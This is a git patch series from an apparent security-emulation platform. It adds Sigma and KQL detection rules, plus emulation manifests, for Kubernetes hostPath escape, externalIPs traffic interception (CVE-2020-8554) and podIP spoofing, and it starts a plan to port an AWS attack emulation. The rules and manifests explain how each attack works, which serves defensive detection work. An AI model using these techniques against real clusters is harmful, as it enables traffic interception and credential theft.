+title: Kubernetes Pod Mounting PVC Bound to HostPath Volume +id: f6a7b8c9-6666-4fff-b666-ffffffffffff +status: experimental +description: | + Detects creation of pods that reference a PersistentVolumeClaim. When + combined with a PV that uses a hostPath spec (T1211), the pod effectively + mounts the host filesystem from an otherwise policy-compliant container, + achieving host escape (T1611). Correlate with prior PV creation events. + Emulated by MayaTrail k8s_pvc_psa_bypass (Phase 3). +references: + - https://attack.mitre.org/techniques/T1611/ + - https://kubernetes.io/docs/concepts/storage/persistent-volumes/#hostpath +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.privilege_escalation + - attack.t1611 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: create + objectRef.resource: pods + filter_system_ns: + objectRef.namespace: + - 'kube-system' + - 'kube-public' + condition: selection and not filter_system_ns +falsepositives: + - Normal application workloads scheduling pods that use PVCs for persistent storage +level: low From 2073194f981ddc0cc6a28d0d82a07329c87c509d Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sun, 28 Jun 2026 17:10:37 +0530 Subject: [PATCH 11/18] feat: add T1557 detection rules for k8s_external_ips_mitm --- .../detections/kql_t1557.kql | 30 +++++++++++++++ .../detections/sigma_t1557.yml | 38 +++++++++++++++++++ 2 files changed, 68 insertions(+) create mode 100644 emulations/k8s_external_ips_mitm/detections/kql_t1557.kql create mode 100644 emulations/k8s_external_ips_mitm/detections/sigma_t1557.yml diff --git a/emulations/k8s_external_ips_mitm/detections/kql_t1557.kql b/emulations/k8s_external_ips_mitm/detections/kql_t1557.kql new file mode 100644 index 0000000..4c761dc --- /dev/null +++ b/emulations/k8s_external_ips_mitm/detections/kql_t1557.kql @@ -0,0 +1,30 @@ +// k8s_external_ips_mitm — T1557: Adversary-in-the-Middle (CVE-2020-8554) +// Detects Services created or modified with a non-empty externalIPs field. +// kube-proxy programs iptables rules for each externalIP, redirecting matching +// traffic to the service's endpoints — allowing an attacker to intercept traffic +// to arbitrary public IPs from within the cluster network. +// +// References: +// https://attack.mitre.org/techniques/T1557/ +// https://nvd.nist.gov/vuln/detail/CVE-2020-8554 + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) in ("create", "update", "patch") +| where tostring(log.objectRef.resource) == "services" +| extend requestObj = parse_json(tostring(log.requestObject)) +| extend ExternalIPs = tostring(requestObj.spec.externalIPs) +| where isnotempty(ExternalIPs) and ExternalIPs != "[]" +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + Namespace = tostring(log.objectRef.namespace), + ServiceName = tostring(log.objectRef.name), + ExternalIPs, + Verb = tostring(log.verb), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: Service with externalIPs — potential CVE-2020-8554 traffic interception" +| order by TimeGenerated desc diff --git a/emulations/k8s_external_ips_mitm/detections/sigma_t1557.yml b/emulations/k8s_external_ips_mitm/detections/sigma_t1557.yml new file mode 100644 index 0000000..9b8e85b --- /dev/null +++ b/emulations/k8s_external_ips_mitm/detections/sigma_t1557.yml @@ -0,0 +1,38 @@ +title: Kubernetes Service Created with ExternalIPs — CVE-2020-8554 Traffic Interception +id: a7b8c9d0-7777-4aaa-b777-777777777777 +status: experimental +description: | + Detects creation or update of a Kubernetes Service resource that includes a + non-empty externalIPs list. An attacker can set externalIPs to any public IP + address, causing kube-proxy to redirect cluster-internal traffic destined for + that IP to the attacker's pod (CVE-2020-8554). This enables interception of + DNS responses, database credentials, and API tokens flowing to external services. + Emulated by MayaTrail k8s_external_ips_mitm (Phase 1). +references: + - https://attack.mitre.org/techniques/T1557/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-8554 + - https://kubernetes.io/docs/concepts/services-networking/service/#external-ips +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.credential_access + - attack.collection + - attack.t1557 + - kubernetes + - cve-2020-8554 +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: + - create + - update + - patch + objectRef.resource: services + requestObject.spec.externalIPs|exists: true + condition: selection +falsepositives: + - Clusters that legitimately use externalIPs for LoadBalancer services on bare-metal + - MetalLB or similar controllers that assign externalIPs automatically +level: high From 602e28ffa11d3897b6eaaedd1b871643adab0a92 Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sun, 28 Jun 2026 17:11:39 +0530 Subject: [PATCH 12/18] feat: add T1557 detection rules for k8s_pod_status_mitm --- .../detections/kql_t1557.kql | 31 +++++++++++++++ .../detections/sigma_t1557.yml | 39 +++++++++++++++++++ 2 files changed, 70 insertions(+) create mode 100644 emulations/k8s_pod_status_mitm/detections/kql_t1557.kql create mode 100644 emulations/k8s_pod_status_mitm/detections/sigma_t1557.yml diff --git a/emulations/k8s_pod_status_mitm/detections/kql_t1557.kql b/emulations/k8s_pod_status_mitm/detections/kql_t1557.kql new file mode 100644 index 0000000..75a12dc --- /dev/null +++ b/emulations/k8s_pod_status_mitm/detections/kql_t1557.kql @@ -0,0 +1,31 @@ +// k8s_pod_status_mitm — T1557: Adversary-in-the-Middle (podIP Spoofing) +// Detects patch/update operations on the pods/status subresource from callers +// that are not the kubelet (system:node:*) or kube-system service accounts. +// An attacker with this privilege can overwrite a pod's podIP field, diverting +// service endpoint traffic to their own container. +// +// References: +// https://attack.mitre.org/techniques/T1557/ + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) in ("patch", "update") +| where tostring(log.objectRef.resource) == "pods" +| where tostring(log.objectRef.subresource) == "status" +| where not (tostring(log.user.username) startswith "system:node:") +| where not (tostring(log.user.username) startswith "system:serviceaccount:kube-system:") +| extend requestObj = parse_json(tostring(log.requestObject)) +| extend NewPodIP = tostring(requestObj.status.podIP) +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + Namespace = tostring(log.objectRef.namespace), + PodName = tostring(log.objectRef.name), + NewPodIP, + Verb = tostring(log.verb), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: pods/status patched by non-system account — potential IP spoofing" +| order by TimeGenerated desc diff --git a/emulations/k8s_pod_status_mitm/detections/sigma_t1557.yml b/emulations/k8s_pod_status_mitm/detections/sigma_t1557.yml new file mode 100644 index 0000000..e76b4f6 --- /dev/null +++ b/emulations/k8s_pod_status_mitm/detections/sigma_t1557.yml @@ -0,0 +1,39 @@ +title: Kubernetes pods/status Subresource Patched — Pod IP Spoofing +id: b8c9d0e1-8888-4bbb-b888-888888888888 +status: experimental +description: | + Detects patch or update operations on the pods/status subresource. The status + subresource controls the authoritative endpoint data for a pod, including its + IP address. An attacker with patch rights on pods/status can change a pod's + reported podIP to their own container's IP, causing service endpoint controllers + to redirect traffic for the victim pod to the attacker. + Emulated by MayaTrail k8s_pod_status_mitm (Phase 1). +references: + - https://attack.mitre.org/techniques/T1557/ + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#referring-to-resources +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.credential_access + - attack.collection + - attack.t1557 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: + - patch + - update + objectRef.resource: pods + objectRef.subresource: status + filter_controllers: + user.username|startswith: + - 'system:node:' + - 'system:serviceaccount:kube-system:' + condition: selection and not filter_controllers +falsepositives: + - Legitimate Kubernetes controllers (node controller, kubelet) updating pod status + - Custom operators that manage pod lifecycle and write status updates +level: high From 9b4fffbbab4b78bb85898aae3bdb89edd20b9d2f Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sun, 28 Jun 2026 17:17:52 +0530 Subject: [PATCH 13/18] fix: sync phase_count and attack_path with extended attack chains in 3 k8s MANIFESTs --- emulations/k8s_external_ips_mitm/MANIFEST.py | 64 ++++++++++++++++++++ emulations/k8s_pod_status_mitm/MANIFEST.py | 63 +++++++++++++++++++ emulations/k8s_pvc_psa_bypass/MANIFEST.py | 7 ++- 3 files changed, 133 insertions(+), 1 deletion(-) create mode 100644 emulations/k8s_external_ips_mitm/MANIFEST.py create mode 100644 emulations/k8s_pod_status_mitm/MANIFEST.py diff --git a/emulations/k8s_external_ips_mitm/MANIFEST.py b/emulations/k8s_external_ips_mitm/MANIFEST.py new file mode 100644 index 0000000..6a48925 --- /dev/null +++ b/emulations/k8s_external_ips_mitm/MANIFEST.py @@ -0,0 +1,64 @@ +"""MANIFEST for k8s_external_ips_mitm.""" +MANIFEST = { + "schema_version": 2, + "name": "k8s_external_ips_mitm", + "display_name": "K8s External IPs Hijacking (CVE-2020-8554)", + "description": ( + "Emulates traffic interception utilizing CVE-2020-8554 where an attacker " + "creates a Service with arbitrary externalIPs, forcing traffic to route " + "to a container under their control." + ), + "tier": "enterprise", + "platform": "k8s", + "added": "2026-06", + "origin": "unknown", + "origin_label": "K8S EMULATION", + "tags": ["Kubernetes", "Adversary-in-the-Middle", "External IPs", "Vulnerability"], + "technique_count": 1, + "severity": "MEDIUM", + "aliases": "ExternalIPs MITM", + "attribution": "Common Kubernetes misconfiguration scenarios", + "active_since": "2020", + "targets": "K8s clusters using vulnerable versions of kube-proxy (CVE-2020-8554)", + "incidents": ["Cluster-internal traffic diversion"], + "attack_path": [ + { + "phase": 1, + "name": "Traffic Interception", + "techniques": [{"id": "T1557", "name": "Adversary-in-the-Middle"}], + }, + { + "phase": 2, + "name": "Traffic Interception Verification", + "techniques": [{"id": "T1557", "name": "Adversary-in-the-Middle"}], + } + ], + "mitre_mappings": [ + { + "id": "T1557", + "name": "Adversary-in-the-Middle", + "tactic": "Credential Access", + "platform": "Kubernetes", + "description": "Intercepting traffic meant for external/internal destinations via service externalIPs routing." + } + ], + "references": [ + {"icon": "#", "title": "CVE-2020-8554 Announcement", "source": "Kubernetes", "type": "DOCUMENTATION", "color": "red"} + ], + "phase_count": 2, + "estimated_duration_minutes": 8, + "estimated_cost_per_hour_usd": 0.015, + "default_ttl_hours": 2, + "total_resources": 6, + "resources": { + "ec2_count": 1, + "instance_types": ["t3.micro"], + "uses_lambda": False, + "uses_secrets_manager": False, + "uses_cloudtrail": False, + "uses_guardduty": False, + }, + "resource_costs": [ + {"name": "EC2 Host", "count": 1, "cost_per_hour_usd": 0.015} + ] +} diff --git a/emulations/k8s_pod_status_mitm/MANIFEST.py b/emulations/k8s_pod_status_mitm/MANIFEST.py new file mode 100644 index 0000000..0065385 --- /dev/null +++ b/emulations/k8s_pod_status_mitm/MANIFEST.py @@ -0,0 +1,63 @@ +"""MANIFEST for k8s_pod_status_mitm.""" +MANIFEST = { + "schema_version": 2, + "name": "k8s_pod_status_mitm", + "display_name": "K8s MITM via Pod status.podIP Mutation", + "description": ( + "Simulates a traffic interception attack where the attacker patches the " + "status.podIP of a target pod to redirect service traffic to an attacker-controlled endpoint." + ), + "tier": "enterprise", + "platform": "k8s", + "added": "2026-06", + "origin": "unknown", + "origin_label": "K8S EMULATION", + "tags": ["Kubernetes", "Adversary-in-the-Middle", "Status Subresource", "RBAC Abuse"], + "technique_count": 1, + "severity": "HIGH", + "aliases": "podIP Hijack", + "attribution": "Advanced K8s lateral movement campaigns", + "active_since": "2021", + "targets": "K8s clusters allowing patch verbs on the pods/status subresource", + "incidents": ["Internal service impersonation"], + "attack_path": [ + { + "phase": 1, + "name": "Adversary-in-the-Middle", + "techniques": [{"id": "T1557", "name": "Adversary-in-the-Middle"}], + }, + { + "phase": 2, + "name": "Traffic Redirect Verification", + "techniques": [{"id": "T1557", "name": "Adversary-in-the-Middle"}], + } + ], + "mitre_mappings": [ + { + "id": "T1557", + "name": "Adversary-in-the-Middle", + "tactic": "Credential Access", + "platform": "Kubernetes", + "description": "Modifying pods/status subresource to spoof the pod's IP and intercept incoming traffic." + } + ], + "references": [ + {"icon": "#", "title": "Kubernetes Pod status subresource", "source": "Kubernetes", "type": "DOCUMENTATION", "color": "yellow"} + ], + "phase_count": 2, + "estimated_duration_minutes": 8, + "estimated_cost_per_hour_usd": 0.015, + "default_ttl_hours": 2, + "total_resources": 6, + "resources": { + "ec2_count": 1, + "instance_types": ["t3.micro"], + "uses_lambda": False, + "uses_secrets_manager": False, + "uses_cloudtrail": False, + "uses_guardduty": False, + }, + "resource_costs": [ + {"name": "EC2 Host", "count": 1, "cost_per_hour_usd": 0.015} + ] +} diff --git a/emulations/k8s_pvc_psa_bypass/MANIFEST.py b/emulations/k8s_pvc_psa_bypass/MANIFEST.py index a4cd26e..f3814c2 100644 --- a/emulations/k8s_pvc_psa_bypass/MANIFEST.py +++ b/emulations/k8s_pvc_psa_bypass/MANIFEST.py @@ -31,6 +31,11 @@ "phase": 2, "name": "Host Filesystem Read from Pod", "techniques": [{"id": "T1611", "name": "Escape to Host"}], + }, + { + "phase": 3, + "name": "Host Filesystem Read from Pod", + "techniques": [{"id": "T1611", "name": "Escape to Host"}], } ], "mitre_mappings": [ @@ -52,7 +57,7 @@ "references": [ {"icon": "#", "title": "Bypassing PSA via Storage", "source": "Kubernetes Docs", "type": "DOCUMENTATION", "color": "purple"} ], - "phase_count": 2, + "phase_count": 3, "estimated_duration_minutes": 10, "estimated_cost_per_hour_usd": 0.015, "default_ttl_hours": 2, From 0733b511f67e248219e4a16036432704a886f7c4 Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Mon, 29 Jun 2026 10:34:03 +0530 Subject: [PATCH 14/18] feat: add k8s emulations with infra, detection rules, and attack chains --- AGENTS.md | 59 + backend/apps/emulations/tasks.py | 24 +- ...026-06-14-dangerdev-emulation-migration.md | 1106 ++++++++++++ .../plans/2026-06-28-k8s-emulation-fixes.md | 1569 +++++++++++++++++ ...14-dangerdev-emulation-migration-design.md | 352 ++++ emulations/k8s_attack_readme.md | 94 + .../k8s_external_ips_mitm/infra/Pulumi.yaml | 3 + .../infra/requirements.txt | 2 + .../k8s_pod_status_mitm/infra/Pulumi.yaml | 3 + .../infra/requirements.txt | 2 + emulations/k8s_pvc_psa_bypass/MANIFEST.py | 2 +- .../k8s_pvc_psa_bypass/infra/Pulumi.yaml | 3 + .../k8s_pvc_psa_bypass/infra/requirements.txt | 2 + .../k8s_rbac_impersonation/infra/Pulumi.yaml | 3 + .../k8s_rbac_impersonation/infra/__main__.py | 84 + .../infra/requirements.txt | 2 + .../k8s_writable_log_escape/infra/Pulumi.yaml | 3 + .../k8s_writable_log_escape/infra/__main__.py | 81 + .../infra/requirements.txt | 2 + 19 files changed, 3391 insertions(+), 5 deletions(-) create mode 100644 AGENTS.md create mode 100644 docs/superpowers/plans/2026-06-14-dangerdev-emulation-migration.md create mode 100644 docs/superpowers/plans/2026-06-28-k8s-emulation-fixes.md create mode 100644 docs/superpowers/specs/2026-06-14-dangerdev-emulation-migration-design.md create mode 100644 emulations/k8s_attack_readme.md create mode 100644 emulations/k8s_external_ips_mitm/infra/Pulumi.yaml create mode 100644 emulations/k8s_external_ips_mitm/infra/requirements.txt create mode 100644 emulations/k8s_pod_status_mitm/infra/Pulumi.yaml create mode 100644 emulations/k8s_pod_status_mitm/infra/requirements.txt create mode 100644 emulations/k8s_pvc_psa_bypass/infra/Pulumi.yaml create mode 100644 emulations/k8s_pvc_psa_bypass/infra/requirements.txt create mode 100644 emulations/k8s_rbac_impersonation/infra/Pulumi.yaml create mode 100644 emulations/k8s_rbac_impersonation/infra/__main__.py create mode 100644 emulations/k8s_rbac_impersonation/infra/requirements.txt create mode 100644 emulations/k8s_writable_log_escape/infra/Pulumi.yaml create mode 100644 emulations/k8s_writable_log_escape/infra/__main__.py create mode 100644 emulations/k8s_writable_log_escape/infra/requirements.txt diff --git a/AGENTS.md b/AGENTS.md new file mode 100644 index 0000000..7b9d97c --- /dev/null +++ b/AGENTS.md @@ -0,0 +1,59 @@ +# MayaTrail Step1 — Agent Orientation + +AWS security simulation platform: Django REST API + React/TypeScript SPA + Celery workers + Pulumi IaC. +**This platform creates intentionally vulnerable AWS resources. Only run in isolated test accounts.** + +## Repository Layout + +``` +backend/ Django REST API (Gunicorn/Celery) +frontend/UI/ React + TypeScript SPA (Vite → Nginx) +emulations/ Attack emulation plugin packages +src/ Legacy standalone Pulumi IaC +simulations/ Legacy standalone boto3 scripts (not active) +docker-compose.yml +``` + +## Commands + +```bash +# Full stack +docker-compose up --build + +# Backend only +cd backend && pip install -r requirements.txt +python manage.py makemigrations users infrastructure emulations logs && python manage.py migrate +python manage.py runserver + +# Frontend only +cd frontend/UI && npm install && npm run dev + +# Celery worker +cd backend && celery -A config worker --queues=enterprise --loglevel=info +``` + +## Code Style + +- Backend: Python 3.12, Django 5, DRF. Follow existing patterns in `backend/apps/`. +- Frontend: TypeScript strict mode, React functional components, Tailwind CSS. +- No `type: ignore` or `any` in new TypeScript code without a comment explaining why. +- New Django apps go in `backend/apps//` with the standard structure (models, views, serializers, urls, tasks). + +## Key Files + +- `emulations/registry.py` — plugin auto-discovery logic +- `emulations//MANIFEST.py` — emulation metadata schema +- `backend/config/settings/base.py` — Django settings (all secrets via `python-decouple`) +- `backend/apps/emulations/tasks.py` — Celery tasks that drive deploy/attack/destroy lifecycle +- `docker-compose.yml` — authoritative service topology + +## Environment + +Copy `backend/.env.example` to `backend/.env`. Critical vars: +- `PULUMI_CONFIG_PASSPHRASE` — never change after stacks are created +- `EMULATIONS_BASE_DIR` — set to `/opt/emulations` in Docker, absolute path to `emulations/` locally +- `STATE_BUCKET` — S3 bucket for Pulumi state (`mayatrail-state-bucket`, region `ap-south-1`) + +## Testing + +No automated test suite currently. Validate changes by running the stack locally and exercising the affected API endpoints or UI flows. diff --git a/backend/apps/emulations/tasks.py b/backend/apps/emulations/tasks.py index 4de1cf8..0b53d3d 100644 --- a/backend/apps/emulations/tasks.py +++ b/backend/apps/emulations/tasks.py @@ -94,19 +94,35 @@ def _assume_user_role(user) -> dict[str, str]: Credentials are never stored in the database — they are generated per-task invocation and discarded once the task completes. + If aws_role_arn is not set on the user, falls back to the platform-level + credentials already present in the environment (dev / direct-cred scenario). + Args: - user: Authenticated User instance with a valid aws_role_arn. + user: Authenticated User instance with an optional aws_role_arn. Returns: - Dict with keys: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, - AWS_SESSION_TOKEN. + Dict with keys: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and + optionally AWS_SESSION_TOKEN. Raises: botocore.exceptions.ClientError if the role cannot be assumed. """ + role_arn = getattr(user, "aws_role_arn", None) + if not role_arn: + # No role configured — use the platform credentials directly. + creds: dict[str, str] = { + "AWS_ACCESS_KEY_ID": os.environ.get("AWS_ACCESS_KEY_ID", ""), + "AWS_SECRET_ACCESS_KEY": os.environ.get("AWS_SECRET_ACCESS_KEY", ""), + } + session_token = os.environ.get("AWS_SESSION_TOKEN", "") + if session_token: + creds["AWS_SESSION_TOKEN"] = session_token + logger.info("No aws_role_arn for user %s — using platform credentials", user.id) + return creds + sts = boto3.client("sts") assumed = sts.assume_role( - RoleArn=user.aws_role_arn, + RoleArn=role_arn, RoleSessionName=f"mayatrail-emulation-{user.id}", DurationSeconds=3600, ) diff --git a/docs/superpowers/plans/2026-06-14-dangerdev-emulation-migration.md b/docs/superpowers/plans/2026-06-14-dangerdev-emulation-migration.md new file mode 100644 index 0000000..97ae6fd --- /dev/null +++ b/docs/superpowers/plans/2026-06-14-dangerdev-emulation-migration.md @@ -0,0 +1,1106 @@ +# DANGERDEV Emulation Migration — Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Port the raw pipeline DANGERDEV output into a backend-compatible `emulations/dangerdev/` package on MayaTrail/step1 `main`, plus the one backend generalization (manifest-driven readiness) and worker dependency (`pulumi-tls`) it needs, then prove it with a paired live deploy → attack → destroy. + +**Architecture:** Three work areas — (1) the `emulations/dangerdev/` package (MANIFEST + attack + infra + playbook + detections), (2) a back-compatible readiness change in `apps/emulations/`, (3) `backend/requirements.txt` gaining `pulumi-tls`. The infra is ported to the worker's real runtime, **pulumi-aws 7.11.1**. Names stay static for fidelity (safe because the backend deploys per-user-account + enforces one active stack per user). + +**Tech Stack:** Python 3, Pulumi (`pulumi==3.207.0`, `pulumi-aws==7.11.1`, `pulumi-tls` 5.x), boto3, Django 5 + Celery (backend), Django test runner. + +**Source of truth:** `docs/superpowers/specs/2026-06-14-dangerdev-emulation-migration-design.md` (gitignored). + +**Paths:** +- Pipeline source (read-only): `C:\Users\Ayush\Documents\apt\apt\apt_pipeline\apt_pipeline\emulation_output\20260422_111749_DANGERDEV\` +- Backend repo (all writes): `C:\Users\Ayush\Documents\mayatrail\step1\` (referred to below as ``) + +**Git note:** Everything lands in MayaTrail/step1 `main`. **Confirm branch + commit message with the user before any `git commit`/`push`** (standing rule). Commit steps below are checkpoints; pause for confirmation at each. + +--- + +## File Structure + +| File | Responsibility | +|------|----------------| +| `emulations/dangerdev/__init__.py` | Empty package marker | +| `emulations/dangerdev/MANIFEST.py` | Catalogue metadata dict (+ `readiness: none`) | +| `emulations/dangerdev/attack.py` | `run(outputs, region)` attack chain (17 steps) | +| `emulations/dangerdev/PLAYBOOK.md` | Sanitized IR guide | +| `emulations/dangerdev/infra/__init__.py` | Empty marker | +| `emulations/dangerdev/infra/Pulumi.yaml` | Pulumi project (`mayatrail-dangerdev`, plain python) | +| `emulations/dangerdev/infra/requirements.txt` | Dev-reference deps (v7) | +| `emulations/dangerdev/infra/__main__.py` | Pulumi program (v7-ported, no auto-trigger) | +| `emulations/dangerdev/detections/*` | 15 KQL + Sigma + notes (verbatim copy) | +| `apps/emulations/readiness.py` | **New** pure helper: resolve readiness from manifest | +| `apps/emulations/tests/__init__.py`, `tests/test_readiness.py` | **New** unit tests for the helper | +| `apps/emulations/tasks.py` | Modified: deploy branch + generalized poll | +| `emulations/scarleteel/MANIFEST.py` | Modified: explicit default `readiness` (no behavior change) | +| `backend/requirements.txt` | Modified: add `pulumi-tls` | + +--- + +## Phase A — `emulations/dangerdev/` package (static-validatable, no AWS) + +### Task A1: Scaffold package + copy verbatim assets + +**Files:** +- Create: `/emulations/dangerdev/__init__.py` (empty) +- Create: `/emulations/dangerdev/infra/__init__.py` (empty) +- Copy: pipeline `detections/` → `/emulations/dangerdev/detections/` + +- [ ] **Step 1: Create the package dirs + empty markers** + +```powershell +$src = "C:\Users\Ayush\Documents\apt\apt\apt_pipeline\apt_pipeline\emulation_output\20260422_111749_DANGERDEV" +$dst = "C:\Users\Ayush\Documents\mayatrail\step1\emulations\dangerdev" +New-Item -ItemType Directory -Force "$dst\infra" | Out-Null +New-Item -ItemType File -Force "$dst\__init__.py" | Out-Null +New-Item -ItemType File -Force "$dst\infra\__init__.py" | Out-Null +``` + +- [ ] **Step 2: Copy detections verbatim** + +```powershell +Copy-Item -Recurse -Force "$src\detections" "$dst\detections" +Get-ChildItem "$dst\detections" | Measure-Object # expect 32 files (15 kql + 15 sigma + 2 notes) +``` + +- [ ] **Step 3: Verify layout** + +Run: +```powershell +Get-ChildItem "C:\Users\Ayush\Documents\mayatrail\step1\emulations\dangerdev" -Recurse | Select-Object FullName +``` +Expected: `__init__.py`, `infra/__init__.py`, `detections/` populated. + +### Task A2: `infra/Pulumi.yaml` + `infra/requirements.txt` + +**Files:** +- Create: `/emulations/dangerdev/infra/Pulumi.yaml` +- Create: `/emulations/dangerdev/infra/requirements.txt` + +- [ ] **Step 1: Write `Pulumi.yaml`** + +```yaml +name: mayatrail-dangerdev +runtime: python +description: DangerDev APT emulation — AWS IAM abuse, cryptomining recon, phishing infra. +``` + +- [ ] **Step 2: Write `requirements.txt`** (dev reference; worker uses `backend/requirements.txt`) + +``` +pulumi>=3.0.0,<4.0.0 +pulumi-aws>=7.0.0,<8.0.0 +pulumi-tls>=5.0.0,<6.0.0 +``` + +### Task A3: Port `infra/__main__.py` (structural edits + v7 S3) + +**Files:** +- Create: `/emulations/dangerdev/infra/__main__.py` (start as a copy of the pipeline file, then edit) + +- [ ] **Step 1: Copy the pipeline `__main__.py`** + +```powershell +Copy-Item -Force "$src\infra\__main__.py" "$dst\infra\__main__.py" +``` + +- [ ] **Step 2: Header — drop the auto-trigger imports** + +Replace: +```python +import json +import os +import subprocess + +import pulumi +import pulumi_aws as aws +import pulumi_tls as tls +``` +with: +```python +import json + +import pulumi +import pulumi_aws as aws +import pulumi_tls as tls +``` + +- [ ] **Step 3: Standardize the MayaTrail tag** + +In the `TAGS` dict, change `"MayaTrail": "true",` to `"MayaTrail": "dangerdev",`. + +- [ ] **Step 4: Region-derive the subnet AZ (Gap D)** + +In the `public_subnet` resource, replace `availability_zone="us-east-1a",` with `availability_zone=f"{region}a",`. + +- [ ] **Step 5: v7 port — `log_bucket` (Gap C)** + +Replace the `log_bucket = aws.s3.Bucket(...)` block (the one with inline +`server_side_encryption_configuration`/`versioning`/`lifecycle_rules`) with: +```python +log_bucket = aws.s3.BucketV2( + "dangerdev-log-bucket", + bucket=f"dangerdev-lab-logs-{account_id}", + force_destroy=True, + tags=TAGS, +) + +aws.s3.BucketServerSideEncryptionConfigurationV2( + "dangerdev-log-bucket-sse", + bucket=log_bucket.id, + rules=[aws.s3.BucketServerSideEncryptionConfigurationV2RuleArgs( + apply_server_side_encryption_by_default=aws.s3.BucketServerSideEncryptionConfigurationV2RuleApplyServerSideEncryptionByDefaultArgs( + sse_algorithm="aws:kms", + ), + )], +) + +aws.s3.BucketVersioningV2( + "dangerdev-log-bucket-versioning", + bucket=log_bucket.id, + versioning_configuration=aws.s3.BucketVersioningV2VersioningConfigurationArgs( + status="Enabled", + ), +) + +aws.s3.BucketLifecycleConfigurationV2( + "dangerdev-log-bucket-lifecycle", + bucket=log_bucket.id, + rules=[aws.s3.BucketLifecycleConfigurationV2RuleArgs( + id="expire-90d", + status="Enabled", + filter=aws.s3.BucketLifecycleConfigurationV2RuleFilterArgs(prefix=""), + expiration=aws.s3.BucketLifecycleConfigurationV2RuleExpirationArgs(days=90), + )], +) +``` + +- [ ] **Step 6: v7 port — `leaked_creds_bucket`** + +Replace the `leaked_creds_bucket = aws.s3.Bucket(...)` block (inline `versioning` + +`logging`) with: +```python +leaked_creds_bucket = aws.s3.BucketV2( + "dangerdev-leaked-creds-bucket", + bucket=f"dangerdev-infra-state-{account_id}", + force_destroy=True, + tags=TAGS, +) + +aws.s3.BucketVersioningV2( + "dangerdev-leaked-creds-bucket-versioning", + bucket=leaked_creds_bucket.id, + versioning_configuration=aws.s3.BucketVersioningV2VersioningConfigurationArgs( + status="Enabled", + ), +) + +aws.s3.BucketLoggingV2( + "dangerdev-leaked-creds-bucket-logging", + bucket=leaked_creds_bucket.id, + target_bucket=log_bucket.id, + target_prefix="s3-access/", +) +``` + +- [ ] **Step 7: v7 port — `sensitive_bucket`** + +Replace the `sensitive_bucket = aws.s3.Bucket(...)` block (inline SSE AES256 + +`versioning` + `logging`) with: +```python +sensitive_bucket = aws.s3.BucketV2( + "dangerdev-sensitive-s3-bucket", + bucket=f"dangerdev-prod-data-archive-{account_id}", + force_destroy=True, + tags=TAGS, +) + +aws.s3.BucketServerSideEncryptionConfigurationV2( + "dangerdev-sensitive-bucket-sse", + bucket=sensitive_bucket.id, + rules=[aws.s3.BucketServerSideEncryptionConfigurationV2RuleArgs( + apply_server_side_encryption_by_default=aws.s3.BucketServerSideEncryptionConfigurationV2RuleApplyServerSideEncryptionByDefaultArgs( + sse_algorithm="AES256", + ), + )], +) + +aws.s3.BucketVersioningV2( + "dangerdev-sensitive-bucket-versioning", + bucket=sensitive_bucket.id, + versioning_configuration=aws.s3.BucketVersioningV2VersioningConfigurationArgs( + status="Enabled", + ), +) + +aws.s3.BucketLoggingV2( + "dangerdev-sensitive-bucket-logging", + bucket=sensitive_bucket.id, + target_bucket=log_bucket.id, + target_prefix="s3-access/", +) +``` + +- [ ] **Step 8: v7 port — bucket objects → `BucketObjectv2`** + +Change `aws.s3.BucketObject(` to `aws.s3.BucketObjectv2(` in both places: +the `dangerdev-tfstate-object` resource and the `dangerdev-sensitive-obj-*` +resource inside the `_bait_objects` loop. + +- [ ] **Step 9: Remove the auto-trigger machinery** + +Delete the entire `def _trigger_attack(...)` function, the +`# AUTO-TRIGGER DISABLED ...` comment block, and the commented-out +`pulumi.Output.all(...).apply(lambda args: _trigger_attack(*args))` block. +Keep everything from `# Stack exports` onward (the `pulumi.export(...)` lines). + +- [ ] **Step 10: Byte-compile to catch syntax errors** + +Run (from ``): +```powershell +python -m py_compile emulations\dangerdev\infra\__main__.py +``` +Expected: no output (success). If `SyntaxError`, fix and re-run. + +- [ ] **Step 11: Confirm only the three third-party imports remain** + +Run: +```powershell +Select-String -Path "emulations\dangerdev\infra\__main__.py" -Pattern "^import |^from " +``` +Expected: only `import json`, `import pulumi`, `import pulumi_aws as aws`, +`import pulumi_tls as tls`. (No `os`, no `subprocess`.) + +### Task A4: Synthesize `MANIFEST.py` + +**Files:** +- Create: `/emulations/dangerdev/MANIFEST.py` + +- [ ] **Step 1: Write the MANIFEST** (descriptions sourced from `attack.py` step comments + `phase0b_metadata.json`) + +```python +""" +MANIFEST for the DANGERDEV enterprise emulation. + +schema_version 1. Static cost estimates only — no AWS Pricing API calls. +Based on the real DangerDev@protonmail.me campaign (Invictus IR). +""" + +MANIFEST = { + "schema_version": 1, + + # ── Identity ───────────────────────────────────────────────────────────── + "name": "dangerdev", + "display_name": "DangerDev", + "description": ( + "17-step AWS adversary emulation based on the real DangerDev " + "(DangerDev@protonmail.me) campaign: a leaked IAM admin key seeds backdoor " + "user creation, cross-account trust backdoors, account hijacking, " + "GPU-cryptomining 